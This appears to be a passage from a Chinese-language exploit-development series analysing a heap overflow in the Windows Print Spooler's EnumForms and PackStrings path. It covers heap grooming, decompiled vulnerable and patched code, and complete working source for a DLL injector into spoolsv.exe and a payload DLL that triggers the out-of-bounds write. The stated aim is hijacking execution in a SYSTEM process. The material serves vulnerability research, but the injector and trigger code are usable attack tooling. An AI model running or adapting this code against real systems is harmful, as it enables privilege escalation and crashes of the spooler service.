理解这个机制很重要:想让 8 个特定字节出现在溢出里,就添加一个名字恰好是这 8 个字节的 Unicode 字符串的表单。因此 AddFormW 决定“溢出什么”,但它自己不负责溢出。溢出本身要到 EnumForms 以超大的 cbBuf 参数被调用时才开始——数据返回路径内部触达 PackStrings 字符串,后者调用 memcpy 引爆溢出。顺便一提:添加表单需要 PRINTER\_ACCESS\_ADMINISTER 访问权。于是整条序列是:AddFormW(写什么)→ EnumForms → CopyIniFormToFormInfo → PackStrings → memcpy。注意:AddFormW 到 EnumForms 之间的过渡不是函数调用,只是数据依赖——它们本是两次独立的 RPC 调用。

07. 堆相关要点

这是一个经典堆溢出,涉及堆内存管理的概念——细节我们在本系列前几篇里已经学过。本次利用涉及的对象约 10 KB(精确说是 0x2780 字节),由 Variable Size(VS)分配器分配(它接受 128 KB 以下的分配),可以在 spoolsv.exe 进程里用 !heap -s(SegmentHeap)验证(见 \_HEAP\_VS\_CONTEXT(VsContext))。记住这条链:LFH → VS 分配器 → 后端 | 大块。

堆的这个区域里,VS 分配器从后端取大块 subsegment,再在其中切分 chunk;每个 chunk 前面有一个 16 字节的头(\_HEAP\_VS\_CHUNK\_HEADER),存放 chunk 大小、前一 chunk 大小和分配标志等值。读者已经知道,这些字段多数用每个堆独有的密钥做了 XOR 编码,内存分配器因此很容易发现篡改。所以我们没法让分配器“走”过一个被破坏的头,但可以覆写头之后的数据、再调用函数指针。布局大致是:

16 字节 VS 头 → chunk 数据 (0x2780) → 16 字节 VS 头 → chunk 数据 → 16 字节 VS 头

考虑到测试涉及的数据是 0x2780 字节、chunk 头是 0x10 字节,总共就是 0x2790 字节——但读者会注意到,这个值并没有写死在 exploit 里。0x2780 处于边界上,分配器需要对数据大小向上取整。

VS 分配器是确定性的:分配许多同样大小的块,它们往往会在某个 subsegment 内连续且相邻地排布。这种布局允许我们打洞,再把新对象分配进任意一个洞里。于是流程和前几篇类似:先 spray 大量目标尺寸(0x2780,加上头变成 0x2790)的块/对象,按 N 的间隔(比如每 4 块)打出可预测的洞,再分配 EnumForms 的输出缓冲——它应当落进其中一个洞。回顾前文:

spray:  [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray] [spray]
holes:  [spray] [spray] [spray] [hole ] [spray] [spray] [spray] [hole ] [spray] [spray] [spray] [hole ]
victim: [spray] [spray] [spray] [victim] [spray] [spray] [spray] [hole ] [spray] [spray] [spray] [hole ]

前文提到的另一个要点:增大 cbBuf 参数会把 PackStrings 的内容推过 victim chunk 的末尾。视调整方式而定,我们可以只覆写相邻 chunk 的头,或者连它的数据一起覆写:

[Form structs -- grows up] [gap] [packed strings -- grows down] [VS header] [data]

这里有个关键细节:cbBuf 代表的是 Form 结构体 + 打包字符串的总和。所以增大 cbBuf 实际上是在扩大 gap,把打包字符串整体推到相邻缓冲区之上。

08. 技术验证与实验

进入真正的利用之前,先验证设想的写 primitive 是否如预期工作。做法是:经 VirtualAlloc(MEM_RESERVE, PAGE_NOACCESS) 保留若干 N + 0x1000 字节,但只把前 N 字节提交为 PAGE\_READWRITE。内存布局为:[已提交 RW | No Access | 未映射]。

这样收窄了写的可能性:一旦发生 OOB 写,就会碰到 No Access 区引发 ACCESS\_VIOLATION,证明写越过了边界进入相邻区域,即确认 OOB 写存在。当然,真实 exploit 会丢掉 guard page,转而 groom 一块真实可写的相邻 chunk——毕竟最终要的是破坏效果,但不能崩。为此,我们的部分代码包在 __try / __except(EXCEPTION_EXECUTE_HANDLER) 里,并用 GetExceptionCode 函数辅助构建可脚本化的探针,避免 ACCESS\_VIOLATION 冲到 UnhandledExceptionFilter 把 spoolsv.exe 干掉。

下一步是调用 spoolss!EnumFormsW 来用这个 bug,但绕开 winspool.drv 的代码。麻烦在于:Windows 11 上没有远程管道可发原始 RPC,而利用强依赖 pForm 与 cbBuf 互相独立。更糟的是,只有 spoolsv 内部的导出函数才会把这两个参数原样传给 provider,中间没有 RPC 编组把它们绑在一起。给读者理一下场景:

  • winspool.drv!EnumFormsW

:应用程序调用的客户端 API。通常它会校验参数,然后把请求经 RPC 发出去。
* spoolss.dll!EnumFormsW

:服务端的重定向器,接下调用、转发给打印 provider。
* spoolsv.exe 与 localspl.dll

:执行缓冲拷贝的 worker 和 provider。

我们的计划是直达服务端触发拷贝,绕过客户端 API 的一切校验——若走 winspool.drv,参数会被检查,任何畸形调用在碰到 bug 之前就被掐死。所以必须跳过客户端、直接调服务端的路由器。照理说,最值得推荐的做法之一是手工构造原始 RPC 包发到 spooler 的网络端点(\\pipe\\spoolss)。但又一次碰壁:没有暴露给网络的管道,Windows 11 上没有这条“正路”。

上面提到的另一个要点:要触发溢出,必须让 pForm 和 cbBuf 互相独立——小缓冲配大 cbBuf 正是我们要的。这是利用这个 bug 最核心的一点:pForm 给一块小缓冲,cbBuf 却声明一个巨大的尺寸。由于拷贝的落点由 pForm + cbBuf 的偏移决定,大 cbBuf 加小缓冲必然越界、覆写相邻内存。遗憾的是,走 RPC 通信时我们做不到两者独立——接口定义里 pForm 数组由 cbBuf 决定,NDR 编组会强制传输层只携带 cbBuf 给定的字节数,没法“声明一个值、传输另一个值”。而 spoolss!EnumFormsW → spoolsv!EnumFormsW 这条路恰好能原样处理我们传入的 pForm 和 cbBuf,不受任何 NDR 干扰,两个参数因此得以保持独立。

要让代码跑进 spoolsv.exe 并直接调用重定向器,就得用 DLL 注入。老实说,我没花足够时间找别的路子;但看起来,要把互相独立的 pForm 和 cbBuf(小缓冲配大声明)送到带漏洞的拷贝面前,唯一的办法就是人在 spoolsv 里、自己调 spoolss!EnumFormsW(先 GetModuleHandle(“spoolss.dll”) 再 GetProcAddress(“EnumFormsW”)),而要进 spoolsv 就得注入 DLL。这方案干净吗?不干净。但如我所说,我没在它身上投入足够的时间。

不出所料,这个 exploit 的软肋也正在这里:向 SYSTEM spooler 注入 DLL 需要 SeDebugPrivilege,只有管理员有;可管理员权限本身永远变不成 SYSTEM——这是个循环依赖。务实的破解办法就是:把代码放进 spooler 进程,用这个现成的 bug 劫持 SYSTEM 进程内的执行流来达成真正的提权,而不是靠权限本身。顺带一提:我们必须用工作线程,别在 DllMain 里执行代码——那是在锁下运行,可能死锁。

流程遵循这样的方案:

  • 注入器(admin + SeDebug):EnableDebugPrivilege → OpenProcess(spoolsv) → VirtualAllocEx → WriteProcessMemory(写入 DLL 路径)→ CreateRemoteThread(LoadLibraryW) → DllMain → WorkerThread(注入后在 spoolsv 内部、以 SYSTEM 运行)。
  • 进入 spoolsv.exe 之后:

  • 方案 A:spoolss.dll!EnumFormsW → spoolsv!EnumFormsW → localspl(原始 pForm + 原始 cbBuf,无 NDR,以 SYSTEM 运行)

  • 方案 B:winspool.drv!EnumFormsW → 经 RPC 绕回 spoolsv(重新进进程、重新加上客户端侧校验)

我自然选了方案 A——选 B 会出问题。

处理宽字符串拷贝时我遇到过一个坑:字符串在第一个 NULL 宽字符处终止,而 64 位用户态代码地址长得像 0x00007FFFF8BC1B90,按小端序排列后结尾就是 0x0000。分析之后我发现这反而是好事——真正的麻烦是低位的三个字(word)里出现零字:字符串会提前终止、截断指针。解决办法是造一个 trampoline:在一块“低位字节不含任何 NULL 字”的地址上分配可执行页。找这个地址的基本方法是让 VirtualAlloc 从 0x10010000 开始、按 0x10000 步进向上试,直到找到为止。

作为补充,我在主流版和 Canary 版之间做了 binary diffing。看起来微软已经在修通往这个 bug 的路径——Canary 里出现的几处检查,主流版还没有。我注意到的改进包括整数溢出保护、缓冲区上下界检查、RPC 调用方授权,但它们尚未封死我们的利用路径。

读主流版的 RPC worker,序列是:localspl!SplEnumForms → localspl!InternalEnumForms → localspl!CopyIniFormToFormInfo → PackStrings → memcpy。

检查主流版 localspl.dll(v10.0.26100.7689)和 spoolsv.exe(v10.0.26100.7689)的代码,bug 所在的序列如下:

01. localspl!InternalEnumForms
        cmp esi, r12d ; jbe      <- 仅有的大小检查(needed 对 cbBuf)
        lea rsi,[rdi+r12]        <- v15 = &pForm[cbBuf](缓冲区的后端/末端)

02. localspl!CopyIniFormToFormInfo    (level 2 在这里自己做 memcpy)

03. PackStrings → ucrtbase!memcpy
        v7 -= len;
        memcpy(v7, name, len)    <- OOB 写发生处

04. back/end of buffer = pForm+cbBuf;

反编译代码(localspl!InternalEnumForms,加了一些标注和高亮)如下:

__int64 __fastcall InternalEnumForms(struct _INISPOOLER *a1, unsigned int a2,
        unsigned __int8 *a3, unsigned int a4, unsigned int *a5, _DWORD *a6)
{                           // a2 = level, a3 = pForm and a4 = cbBuf
    __int64 v6 = a4;        // v6 = cbBuf
    ...
    // PASS 1: 把每个表单的尺寸累加进 v11,
    // 且带真正的整数溢出保护。

    while ( 1 ) {
        FormSize = GetFormSize((struct _INIFORM *)v10, a2);
        if ( GetLastError() == 534 ) break;
        v11 += FormSize;
        if ( v11 < FormSize ) break;             // overflow of the sum is checked...
        v10 = *(_QWORD *)(v10 + 8);
        if ( !v10 ) goto LABEL_20;
    }
    ... \"Returning ... because of Integer Overflow.\" ; return 0;

LABEL_20:
    *a5 = v11;                                    // *pcbNeeded = needed

    if ( v11 > (unsigned int)v6 )                 // THE ONLY SIZE CHECK:
    {                                             //  needed > cbBuf ?
        SetLastError(0x7Au);                      //      0x7A = ERROR_INSUFFICIENT_BUFFER
        LeaveSplSem(); return 0;
    }

    v14 = *((_QWORD *)a1 + 9);
    v15 = &a3[v6];                                // v15 = pForm + cbBuf (back/end of the buffer)

    // PASS 2: 拷贝每个表单,
    // v15(\"缓冲区后端/末端\")被交给 CopyIniFormToFormInfo

    while ( 1 ) {
        v16 = GetFormSize((struct _INIFORM *)v14, a2);
        if ( GetLastError() == 534 ) break;
        v15 = CopyIniFormToFormInfo((struct _INIFORM *)v14, a2, a3, v16, v15);   // copy
        ...
        if ( a2 == 1 )      a3 += 40;             // front buffer grows UP (records, as explained)
        else if ( a2 == 2 ) a3 += 88;
        v14 = *(_QWORD *)(v14 + 8);
        ++*a6;
        if ( !v14 ) goto LABEL_36;
    }
}

PackStrings 函数拿到同一个“缓冲区后端/末端”地址并执行真正的字节拷贝。它是 spooler 在多个模块里都带着的共享打包助手。在潜在的崩溃栈里,调用链是 localspl!CopyIniFormToFormInfo → spoolss!PackStrings → spoolsv!PackStrings → ucrtbase!memcpy。从栈的角度看,出错帧是 spoolsv!PackStrings,其 memcpy\_0 即 ucrtbase!memcpy,如下:

unsigned __int8 *__fastcall PackStrings(unsigned __int16 **a1, unsigned __int8 *a2,
        unsigned int *a3, unsigned __int64 a4)
{                                  // a2 = front (pForm)   a4 = end pointer (= pForm + cbBuf)

    if ( !a1 || !a2 || !a3 || !a4 || a4 < (unsigned __int64)a2 ) return 0;

    v7 = (unsigned __int8 *)(a4 & 0xFFFFFFFFFFFFFFFEuLL);   // v7 = end pointer (aligned)

    while ( v7 >= a2 ) {                                    // while back >= front...
        v8 = *v4;
        v9 = (_DWORD)v7 - (_DWORD)a2;                       // gap between back and front

        if ( (int)v7 - (int)a2 < (unsigned int)(v8 + 8) ) { ... return v7; }   // gap check

        v10 = *v6;                                          // the string pointer

        if ( v10 ) {
            v11 = -1; while ( v10[++v11] != 0 ) ;
            v13 = 2 * v11 + 2;                              // byte length incl. NUL

            if ( v9 < v13 || v9 - v13 < (int)v8 + 8 ) { ... return v7; }        // overflow check

            v7 -= v13;                                      // move back pointer down
            memcpy_0(v7, v10, v13);                         // the key write (ucrtbase!memcpy)
            *(_QWORD *)&a2[*v4] = v7;                       // fix up record's pName -> packed string
        }
        ...
    }
    return v7;
}

微妙之处在于:PackStrings 函数确实有一些内部健全性检查,但它们都以 a2(指向缓冲区前端 pForm)和 v7/a4(后端,即 pForm + cbBuf)为基准表达,只保证前后两个指针在窗口内不相撞。然而,PackStrings、CopyIniFormToFormInfo、InternalEnumForms 三者中没有任何一处检查 a4 = pForm + cbBuf 是否落在调用方真实分配的内存之内,所以 memcpy\_0(v7, v10, v13) 完全可以写到 pForm + cbBuf - v13——真实缓冲区之外。毫无疑问,这就是崩溃时 ucrtbase!memcpy+0x93 那条关键指令;只要能把周边内存区域 groom 好,它就送我们一个写 primitive。

Windows Canary 里这段代码已经被重写:打包路径补上了缺失的边界检查,拷贝循环之前还加了尺寸累加校验、重新推导真实总量,除非每个偏移都待在真实缓冲区内,否则拒绝继续。来看看几个主流版上没有的检查:

for ( i = 0; ; ++i ) {
    v21 = 32LL * i;
    if ( *(_DWORD *)&v12[v21] == -1 ) break;        // check 5: end-of-fields sentinel
    v22 = *(_DWORD *)&v12[v21 + 24];
    if ( (unsigned int)(v22 - 1) <= 8 ) { v23 = 4; v24 = 4; } // check 6: field-type range (1 to 9)
    else { if ( v22 ) goto LABEL_37; v23 = *(_QWORD*)&v12[v21+8]; v24 = *(_QWORD*)&v12[v21+16]; }

    v25 = -v24 & (v24 + v19 - 1);
    if ( v25 > 0xFFFFFFFFLL - v23 ) { v26 = 534; goto LABEL_38; }   // check 1: integer overflow guard
    v19 = v23 + v25;                                // accumulate true size
}
v27 = (v19 + 3) & 0xFFFFFFFFFFFFFFFCuLL;
if ( v27 <= v46 )                                   // check 2: total <= real buffer end
{
    for ( j = (__int64)v15; ; j += v27 ) {
        if ( v29 >= v44 ) break;                    // check 3: stay within the count/extent
        ...                                         // only now does it copy/fix up
    }
}

为了证明潜在的利用条件,下面给出两个不同的程序。第一个走传统路径,数据经 winspool.drv,与应用的正常做法一模一样;第二个调用同一个函数,但这次是从 spoolsv.exe 内部直连重定向器 spoolss!EnumFormsW。我知道测试很简单,但它清楚地展示了路径不同、结果不同:经客户端库发送的数据被拒绝,直连服务端的数据毫无障碍地被接受。

第一个程序里,EnumFormsW 经 winspool.drv 从普通进程调用。源码如下:

/*
 * test_spoolsv_enumforms.c - Test for missing bounds in YEnumForms
 *   safe test: normal winspool.drv API calls; does not attempt to crash.
 *   Compile: cl /W4 test_spoolsv_enumforms.c winspool.lib
 */

#include <windows.h>
#include <winspool.h>
#include <stdio.h>

#pragma comment(lib, \"winspool.lib\")

void test_enumforms(HANDLE hPrinter, DWORD level, DWORD bufSize) {
    DWORD needed = 0, returned = 0;
    BYTE *buffer = NULL;

    if (bufSize > 0) {
        buffer = (BYTE *)malloc(bufSize);
        if (!buffer) { printf(\"  malloc(%u) failed\
\", bufSize); return; }
        memset(buffer, 'A', bufSize);
    }

    printf(\"  EnumForms(level=%u, buf=%p, size=%u): \", level, buffer, bufSize);

    BOOL result = EnumFormsW(hPrinter, level, buffer, bufSize, &needed, &returned);
    DWORD err = GetLastError();

    if (result) printf(\"SUCCESS (returned=%u, needed=%u)\
\", returned, needed);
    else        printf(\"FAILED (err=%u, needed=%u)\
\", err, needed);

    if (buffer) free(buffer);
}

int main(void) {
    HANDLE hPrinter = NULL;
    PRINTER_DEFAULTSW defaults = {0};

    printf(\"=== spoolsv YEnumForms Bounds Test ===\
\
\");

    defaults.DesiredAccess = PRINTER_ACCESS_USE;

    if (!OpenPrinterW(NULL, &hPrinter, &defaults)) {
        if (!OpenPrinterW(NULL, &hPrinter, NULL)) {
            printf(\"Cannot open printer (err=%u)\
\", GetLastError());
            if (!OpenPrinterW(L\",XcvMonitor Standard TCP/IP Port\", &hPrinter, NULL)) {
                printf(\"Cannot open any printer target\
\");
                return 1;
            }
        }
    }
    printf(\"Printer opened: handle=0x%p\
\
\", hPrinter);

    printf(\"[1] Normal call (level 1, 0 buffer):\
\");   test_enumforms(hPrinter, 1, 0);
    printf(\"[2] Normal call (level 1, 4096 buffer):\
\"); test_enumforms(hPrinter, 1, 4096);
    printf(\"[3] Level 2 (level 2, 4096 buffer):\
\");     test_enumforms(hPrinter, 2, 4096);
    printf(\"[4] Invalid level (level 99):\
\");           test_enumforms(hPrinter, 99, 4096);
    printf(\"[5] Level 0 (boundary):\
\");                 test_enumforms(hPrinter, 0, 4096);
    printf(\"[6] Small buffer but request large needed:\
\"); test_enumforms(hPrinter, 1, 8);
    printf(\"[7] Overflow test (level 1, size=0):\
\");    test_enumforms(hPrinter, 1, 0);

    ClosePrinter(hPrinter);
    printf(\"\
=== Test Complete ===\
\");
    return 0;
}

在主流或 Canary 版 Windows 上编译运行,输出如下:

C:\\Users\\Administrator\\ers11> cl /W4 test_spoolsv_enumforms.c winspool.lib

C:\\Users\\Administrator\\ers11> test_spoolsv_enumforms.exe

=== spoolsv YEnumForms Bounds Test ===

Printer opened: handle=0x0000028C0D15D000

[1] Normal call (level 1, 0 buffer):
  EnumForms(level=1, buf=0000000000000000, size=0): FAILED (err=122, needed=10112)

[2] Normal call (level 1, 4096 buffer):
  EnumForms(level=1, buf=0000028C0D173D70, size=4096): FAILED (err=122, needed=10112)

[3] Level 2 (level 2, 4096 buffer):
  EnumForms(level=2, buf=0000028C0D173D70, size=4096): FAILED (err=122, needed=102160)

[4] Invalid level (level 99):
  EnumForms(level=99, buf=0000028C0D173D70, size=4096): FAILED (err=124, needed=0)

[5] Level 0 (boundary):
  EnumForms(level=0, buf=0000028C0D173D70, size=4096): FAILED (err=124, needed=0)

[6] Small buffer but request large needed:
  EnumForms(level=1, buf=0000028C0D171630, size=8): FAILED (err=122, needed=10112)

[7] Overflow test (level 1, size=0):
  EnumForms(level=1, buf=0000000000000000, size=0): FAILED (err=122, needed=10112)

=== Test Complete ===

如果第 4/5 项在主流版返回 SUCCESS 而在 Canary 上是 FAILED,就说明边界检查缺失。

第二个程序从 spoolsv.exe 内部直接调用 spoolss!EnumFormsW。基本做法是把 DLL 注入 spooler,并在 SEH 保护下运行,出事也能活下来。payload 源码如下:

/*
 * payload_enumforms2.c - injected into spoolsv.exe; calls spoolss!EnumFormsW
 *   directly (the router), NOT winspool.drv (which would RPC back to self).
 *   Compile: cl /W4 /O2 /LD payload_enumforms2.c /Fe:payload_probe.dll
 */

#include <windows.h>
#include <stdio.h>

#define LOG_FILE \"C:\\\\Windows\\\\Temp\\\\enumforms_inject_log.txt\"

static FILE *g_log = NULL;

static void LOG(const char *fmt, ...) {
    va_list ap; if (!g_log) return;
    va_start(ap, fmt); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log);
}

typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormsW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);

/* one probe case: a real buffer of bufSize, call the router under SEH, log it */
static void run_one_test(const char *desc, DWORD level, DWORD bufSize,
                         PFN_EnumFormsW pEnum, HANDLE hPrinter) {
    DWORD need = 0, ret = 0; BYTE *buf = NULL;

    if (bufSize > 0 && bufSize < 0x40000000) {
        buf = (BYTE *)VirtualAlloc(NULL, bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!buf) { LOG(\"  [%s] alloc failed\
\", desc); return; }
    }

    LOG(\"  [%s] EnumForms(L%u, cb=0x%X): \", desc, level, bufSize);

    __try {
        BOOL ok = pEnum(hPrinter, level, buf, bufSize, &need, &ret);
        DWORD err = GetLastError();
        if (ok) LOG(\"SUCCESS (ret=%u, need=%u)\
\", ret, need);
        else    LOG(\"ERROR %u (need=%u)\
\", err, need);
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        LOG(\"EXCEPTION 0x%08X *** CRASH ***\
\", GetExceptionCode());
    }

    if (buf) VirtualFree(buf, 0, MEM_RELEASE);
}

static void run_tests(void) {
    HMODULE hSpoolss;
    PFN_OpenPrinterW pOpen = NULL; PFN_EnumFormsW pEnum = NULL; PFN_ClosePrinter pClose = NULL;
    HANDLE hPrinter = NULL;

    hSpoolss = GetModuleHandleW(L\"spoolss.dll\");
    if (!hSpoolss) hSpoolss = LoadLibraryW(L\"spoolss.dll\");

    pOpen  = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, \"OpenPrinterW\");
    pEnum  = (PFN_EnumFormsW)GetProcAddress(hSpoolss, \"EnumFormsW\");
    pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, \"ClosePrinter\");

    if (!pOpen || !pEnum || !pClose) { LOG(\"[-] missing exports\
\"); return; }

    __try {
        if (!pOpen(NULL, &hPrinter, NULL)) { LOG(\"[-] OpenPrinter %u\
\", GetLastError()); return; }
    } __except (EXCEPTION_EXECUTE_HANDLER) { LOG(\"[-] OpenPrinter exception\
\"); return; }

    LOG(\"=== VALID LEVELS ===\
\");
    run_one_test(\"ok\", 1, 0,     pEnum, hPrinter);
    run_one_test(\"ok\", 2, 0,     pEnum, hPrinter);
    run_one_test(\"ok\", 1, 16384, pEnum, hPrinter);

    LOG(\"\
=== INVALID LEVELS (no client-side validation here!) ===\
\");
    run_one_test(\"BAD\", 99,         4096, pEnum, hPrinter);
    run_one_test(\"BAD\", 0,          4096, pEnum, hPrinter);
    run_one_test(\"BAD\", 3,          4096, pEnum, hPrinter);
    run_one_test(\"BAD\", 0xFFFFFFFF, 4096, pEnum, hPrinter);
    run_one_test(\"BAD\", 0x80000000, 4096, pEnum, hPrinter);

    LOG(\"\
=== LARGE BUFFERS (overflow test) ===\
\");
    run_one_test(\"1MB\",  1, 0x100000,  pEnum, hPrinter);
    run_one_test(\"16MB\", 1, 0x1000000, pEnum, hPrinter);
    run_one_test(\"64MB\", 1, 0x4000000, pEnum, hPrinter);

    LOG(\"\
=== ARITHMETIC OVERFLOW TRIGGERS ===\
\");
    run_one_test(\"2G-64\", 1, 0x7FFFFFC0, pEnum, hPrinter);

    __try { pClose(hPrinter); } __except (EXCEPTION_EXECUTE_HANDLER) {}
}

static DWORD WINAPI WorkerThread(LPVOID p) {
    (void)p; Sleep(1000);
    g_log = fopen(LOG_FILE, \"w\");
    if (g_log) { run_tests(); fclose(g_log); g_log = NULL; }
    return 0;
}

BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) {
    (void)r;
    if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(h);
        CreateThread(NULL,0,WorkerThread,NULL,0,NULL); }
    return TRUE;
}

注入器的源码如下:

C:\\Users\\Administrator\\ers11> cat inject_enumforms.c
/*
 * inject_enumforms.c -- Injector: loads our DLL into spoolsv.exe
 *
 * 1. Finds spoolsv.exe PID
 * 2. Opens the process
 * 3. Allocates memory in spoolsv
 * 4. Writes the DLL path
 * 5. Creates remote thread calling LoadLibraryW
 * 6. DLL's DllMain calls YEnumForms directly
 *
 * Compile: cl /W4 /O2 inject_enumforms.c advapi32.lib
 * Must run as Administrator (needs SeDebugPrivilege)
 */

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment(lib, \"advapi32.lib\")

static BOOL EnableDebugPrivilege(void) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;

    if (!LookupPrivilegeValueW(NULL, L\"SeDebugPrivilege\", &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);

    return ok && GetLastError() == ERROR_SUCCESS;
}

static DWORD FindProcessByName(const wchar_t *name) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
    DWORD pid = 0;

    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, name) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32NextW(snap, &pe));
    }

    CloseHandle(snap);
    return pid;
}

int wmain(int argc, wchar_t *argv[]) {
    wchar_t dllPath[MAX_PATH];
    DWORD pid;
    HANDLE hProcess, hThread;
    LPVOID remoteMem;
    SIZE_T written;
    DWORD exitCode;

    printf(\"============================================================\
\");
    printf(\"  spoolsv.exe DLL Injector for YEnumForms Test\
\");
    printf(\"============================================================\
\
\");

    /* Get DLL path */
    if (argc > 1) {
        wchar_t rawPath[MAX_PATH];
        wcscpy_s(rawPath, MAX_PATH, argv[1]);
        if (!GetFullPathNameW(rawPath, MAX_PATH, dllPath, NULL)) {
            wcscpy_s(dllPath, MAX_PATH, rawPath);
        }
    } else {
        /* Default: same directory as injector */
        GetModuleFileNameW(NULL, dllPath, MAX_PATH);
        wchar_t *lastSlash = wcsrchr(dllPath, L'\\\\');
        if (lastSlash) *(lastSlash + 1) = 0;
        wcscat_s(dllPath, MAX_PATH, L\"payload_enumforms.dll\");
    }

    printf(\"[*] DLL: %S\
\", dllPath);

    /* Verify DLL exists */
    if (GetFileAttributesW(dllPath) == INVALID_FILE_ATTRIBUTES) {
        printf(\"[-] DLL not found: %S\
\", dllPath);
        return 1;
    }

    /* Enable SeDebugPrivilege */
    if (!EnableDebugPrivilege()) {
        printf(\"[!] Warning: Could not enable SeDebugPrivilege\
\");
    } else {
        printf(\"[+] SeDebugPrivilege enabled\
\");
    }

    /* Find spoolsv.exe */
    pid = FindProcessByName(L\"spoolsv.exe\");
    if (!pid) {
        printf(\"[-] spoolsv.exe not found\
\");
        return 1;
    }
    printf(\"[+] spoolsv.exe PID: %u\
\", pid);

    /* Open process */
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE, pid);
    if (!hProcess) {
        printf(\"[-] OpenProcess failed: %u\
\", GetLastError());
        return 1;
    }
    printf(\"[+] Process opened\
\");

    /* Allocate memory in spoolsv for DLL path */
    SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    remoteMem = VirtualAllocEx(hProcess, NULL, pathSize,
                               MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!remoteMem) {
        printf(\"[-] VirtualAllocEx failed: %u\
\", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    /* Write DLL path */
    if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) {
        printf(\"[-] WriteProcessMemory failed: %u\
\", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf(\"[+] DLL path written to spoolsv @ 0x%p\
\", remoteMem);

    /* Get LoadLibraryW address */
    LPVOID loadLibAddr = (LPVOID)GetProcAddress(
        GetModuleHandleW(L\"kernel32.dll\"), \"LoadLibraryW\");
    if (!loadLibAddr) {
        printf(\"[-] Cannot find LoadLibraryW\
\");
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    /* Create remote thread */
    printf(\"[*] Injecting DLL into spoolsv.exe...\
\");
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                 (LPTHREAD_START_ROUTINE)loadLibAddr,
                                 remoteMem, 0, NULL);
    if (!hThread) {
        printf(\"[-] CreateRemoteThread failed: %u\
\", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    printf(\"[+] Remote thread created. Waiting for DLL to execute...\
\");

    /* Wait for thread to complete (DLL loaded and DllMain ran) */
    WaitForSingleObject(hThread, 30000); /* 30 second timeout */
    GetExitCodeThread(hThread, &exitCode);

    printf(\"[+] Thread completed. Exit code: 0x%08X\
\", exitCode);

    if (exitCode == 0) {
        printf(\"[-] LoadLibrary returned NULL -- DLL load failed\
\");
        printf(\"    Check if the DLL exists and is 64-bit\
\");
    } else {
        printf(\"[+] DLL loaded at 0x%08X in spoolsv\
\", exitCode);
    }

    /* Check if spoolsv is still alive */
    DWORD spoolPid = FindProcessByName(L\"spoolsv.exe\");
    if (spoolPid == pid) {
        printf(\"[+] spoolsv.exe still running (PID %u)\
\", spoolPid);
    } else if (spoolPid) {
        printf(\"[!] spoolsv.exe restarted (new PID %u, was %u)\
\", spoolPid, pid);
        printf(\"    *** CRASH DETECTED -- vulnerability confirmed! ***\
\");
    } else {
        printf(\"[!] spoolsv.exe is DEAD!\
\");
        printf(\"    *** CRASH DETECTED -- vulnerability confirmed! ***\
\");
    }

    /* Cleanup */
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    printf(\"\
[*] Check C:\\\\Windows\\\\Temp\\\\enumforms_inject_log.txt for results\
\");

    return 0;
}

在主流或 Canary 版 Windows 上构建并运行,步骤如下:

C:\\Users\\Administrator\\ers11> call \"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"

**********************************************************************
** Visual Studio 2022 Developer Command Prompt v17.14.23
** Copyright (c) 2025 Microsoft Corporation
**********************************************************************
[vcvarsall.bat] Environment initialized for: 'x64'

C:\\Users\\Administrator\\ers11> cl /W4 /O2 /LD payload_enumforms2.c /Fe:payload_probe.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35222 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

payload_enumforms2.c
payload_enumforms2.c(77): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
Microsoft (R) Incremental Linker Version 14.44.35222.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/dll
/implib:payload_probe.lib
/out:payload_probe.dll
payload_enumforms2.obj

